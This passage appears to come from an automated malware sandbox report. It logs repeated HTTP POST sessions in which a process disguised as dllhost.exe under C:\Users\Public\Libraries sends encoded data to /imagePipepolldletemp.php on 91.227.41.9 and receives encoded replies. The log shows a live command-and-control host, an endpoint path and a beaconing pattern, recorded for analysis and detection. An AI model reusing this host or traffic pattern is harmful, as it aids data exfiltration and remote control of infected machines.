                                                                                                                                      Data Ascii: \_CRXJU^TW[QUZYUP^Z_V]WXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$&."?)?#5$(%1\&?+);4*(53 ? 61$Z?/&\"'Z,
                                                                                                                                      Dec 9, 2024 00:29:23.120325089 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:23.357090950 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:22 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      95192.168.2.45002691.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:23.604525089 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:23.952919960 CET2536OUTData Raw: 59 5b 43 54 58 46 55 53 54 57 5b 51 55 5c 59 59 50 5c 5a 58 56 57 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y[CTXFUSTW[QU\YYP\ZXVWWXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_''=:=)(Z7?(:&<7P(:7!*,#0+? ]#";(/&\"'Z,8
                                                                                                                                      Dec 9, 2024 00:29:24.873028994 CET25INHTTP/1.1 100 Continue


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      96192.168.2.45002991.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:24.891426086 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:25.249682903 CET1860OUTData Raw: 5c 5c 46 50 5d 47 55 52 54 57 5b 51 55 5e 59 5d 50 52 5a 5e 56 5c 57 5f 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \\FP]GURTW[QU^Y]PRZ^V\W_X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$'.?90"53[(C!$'+]#9;" )9(X"[+&\"'Z,0
                                                                                                                                      Dec 9, 2024 00:29:26.159266949 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:26.393151999 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:25 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 39 50 26 18 33 13 29 55 25 51 2b 05 33 15 3a 01 3c 5d 3c 30 3d 12 26 3e 3f 57 32 38 00 50 3f 10 01 58 33 1c 26 0e 25 37 02 09 29 02 2f 58 07 1c 27 5a 3c 28 2f 13 25 30 29 07 2a 31 02 00 25 03 27 07 30 3d 24 5b 24 20 23 01 3e 23 3a 0d 25 28 25 19 29 28 30 5a 2d 24 3f 0c 21 0e 23 53 08 11 26 0a 33 21 2f 03 26 3c 23 00 35 30 2a 54 30 28 2c 08 3d 05 24 1d 2a 30 22 01 2b 22 26 52 27 21 34 55 25 2f 27 07 26 20 3d 0e 25 3a 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: 9P&3)U%Q+3:<]<0=&>?W28P?X3&%7)/X'Z<(/%0)*1%'0=$[$ #>#:%(%)(0Z-$?!#S&3!/&<#50*T0(,=$*0"+"&R'!4U%/'& =%:&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      97192.168.2.45003091.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:25.067118883 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:25.421837091 CET2536OUTData Raw: 59 5a 46 51 5d 46 55 5d 54 57 5b 51 55 5b 59 5a 50 5f 5a 5b 56 55 57 5b 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YZFQ]FU]TW[QU[YZP_Z[VUW[X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$':(3 5;Z?5%]3<(+)<[#*/T"<P(_8]"?/&\"'Z,$
                                                                                                                                      Dec 9, 2024 00:29:26.333919048 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:26.569152117 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:26 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      98192.168.2.45003691.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:26.802027941 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:29:27.156027079 CET2536OUTData Raw: 5c 59 43 54 5d 43 50 5c 54 57 5b 51 55 51 59 5d 50 59 5a 5b 56 51 57 5e 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \YCT]CP\TW[QUQY]PYZ[VQW^X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$&.%=97'^(93/#<:(]4)?60Q+:$]!!(*?&\"'Z,
                                                                                                                                      Dec 9, 2024 00:29:28.070440054 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:28.321368933 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:27 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      99192.168.2.45004191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:28.569612980 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:28.923052073 CET2536OUTData Raw: 59 5b 43 57 5d 40 50 5c 54 57 5b 51 55 5d 59 55 50 59 5a 5e 56 52 57 5a 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y[CW]@P\TW[QU]YUPYZ^VRWZX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_''-9]?_$X#%(*5&$Y():##9(!0T<9 6$<&\"'Z,<
                                                                                                                                      Dec 9, 2024 00:29:29.939944029 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:30.172974110 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:29 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      100192.168.2.45004691.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:30.411823988 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:30.767051935 CET2536OUTData Raw: 5c 5f 46 57 58 41 55 5c 54 57 5b 51 55 51 59 5e 50 5e 5a 59 56 55 57 59 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \_FWXAU\TW[QUQY^P^ZYVUWYX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$$-?8X768+!^' ?_47?W5/+)<\""3<?&\"'Z,


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      101192.168.2.45004991.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:31.526534081 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:31.874706984 CET1860OUTData Raw: 5c 5e 43 5d 58 45 55 5c 54 57 5b 51 55 5d 59 5a 50 5d 5a 5d 56 5d 57 5b 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \^C]XEU\TW[QU]YZP]Z]V]W[X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'Z'=1?)<"%Z+-0< <)4:+6 U<58^*?&\"'Z,<
                                                                                                                                      Dec 9, 2024 00:29:32.795777082 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:33.029014111 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:32 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 39 1c 26 26 27 59 29 33 3e 0d 3f 3c 20 01 3a 11 0a 10 2b 09 3d 11 31 07 3b 56 25 28 2d 0e 28 3d 2c 05 27 1c 03 56 27 19 27 54 3d 02 2f 58 07 1c 27 1f 2b 02 3c 04 24 23 3e 16 29 32 23 59 25 03 15 06 24 3e 30 13 27 23 38 1c 3f 33 35 1e 26 3b 2a 0b 2b 05 02 5a 3a 24 3c 55 36 34 23 53 08 11 25 57 27 32 20 5d 32 01 3b 07 35 23 03 0c 27 3b 01 55 3d 3f 24 5b 2a 20 3e 06 3c 57 32 1f 30 31 28 57 27 3f 28 15 33 0d 3e 57 31 3a 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: 9&&'Y)3>?< :+=1;V%(-(=,'V''T=/X'+<$#>)2#Y%$>0'#8?35&;*+Z:$<U64#S%W'2 ]2;5#';U=?$[* ><W201(W'?(3>W1:&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      102192.168.2.45005191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:31.650969982 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:31.999701977 CET2536OUTData Raw: 5c 5f 43 55 58 45 55 5e 54 57 5b 51 55 5a 59 5d 50 59 5a 58 56 55 57 5d 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \_CUXEU^TW[QUZY]PYZXVUW]X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$3=9 [4 <C!Z$?#T( \#4"0W(?51#<&\"'Z,
                                                                                                                                      Dec 9, 2024 00:29:32.917484999 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:33.153213024 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:32 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      103192.168.2.45005691.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:33.402354956 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:29:33.749711037 CET2536OUTData Raw: 5c 59 46 53 58 42 55 53 54 57 5b 51 55 5c 59 5a 50 5e 5a 5f 56 5d 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \YFSXBUSTW[QU\YZP^Z_V]WSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'_&-1^(),7&+Y(%"3? +:? *7P6#($]"1???&\"'Z,8
                                                                                                                                      Dec 9, 2024 00:29:34.669928074 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:34.905432940 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:34 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      104192.168.2.45006191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:35.149756908 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:35.499943018 CET2536OUTData Raw: 59 5f 46 50 5d 44 55 5e 54 57 5b 51 55 50 59 58 50 58 5a 5b 56 5c 57 5e 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y_FP]DU^TW[QUPYXPXZ[V\W^X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$0=>? 5#Y?3/??#V#0<*3"$X(&\"'Z,
                                                                                                                                      Dec 9, 2024 00:29:36.417778015 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:36.653011084 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:36 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      105192.168.2.45006791.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:36.907046080 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:37.249705076 CET2536OUTData Raw: 5c 5e 46 56 58 4b 55 5b 54 57 5b 51 55 5c 59 59 50 5a 5a 50 56 5c 57 5c 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \^FVXKU[TW[QU\YYPZZPV\W\X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'3>%?)<X"%X*5&'+P?: Y7:;U6#8P+9/"(_<?&\"'Z,8


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      106192.168.2.45006991.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:38.154582977 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:38.503067017 CET1860OUTData Raw: 59 58 43 56 5d 40 55 5d 54 57 5b 51 55 5f 59 5b 50 5e 5a 5b 56 52 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YXCV]@U]TW[QU_Y[P^Z[VRWSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$$"?8X#S$<%)$/?));4)?T50(+0X#1+&\"'Z,
                                                                                                                                      Dec 9, 2024 00:29:39.451035976 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:39.687482119 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:39 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 39 57 31 36 28 00 2a 0d 0b 55 29 3c 3c 00 3a 3c 20 5a 2b 1e 0c 01 32 3d 28 0d 25 5e 35 0e 3c 00 34 05 25 32 03 50 30 24 23 13 2a 38 2f 58 07 1c 24 04 2b 05 24 02 32 0d 03 04 28 21 23 10 25 3e 3f 05 27 00 2c 5d 24 55 3c 12 3c 33 07 56 25 5e 3d 54 28 15 2c 5e 2d 51 24 55 22 24 23 53 08 11 26 09 26 22 28 59 26 2f 3f 02 20 33 3e 12 25 28 23 56 2a 12 20 59 28 30 3e 07 2b 21 31 0b 33 0c 01 0d 27 06 34 58 26 23 36 56 32 00 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: 9W16(*U)<<:< Z+2=(%^5<4%2P0$#*8/X$+$2(!#%>?',]$U<<3V%^=T(,^-Q$U"$#S&&"(Y&/? 3>%(#V* Y(0>+!13'4X&#6V2&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      107192.168.2.45007191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:38.273858070 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
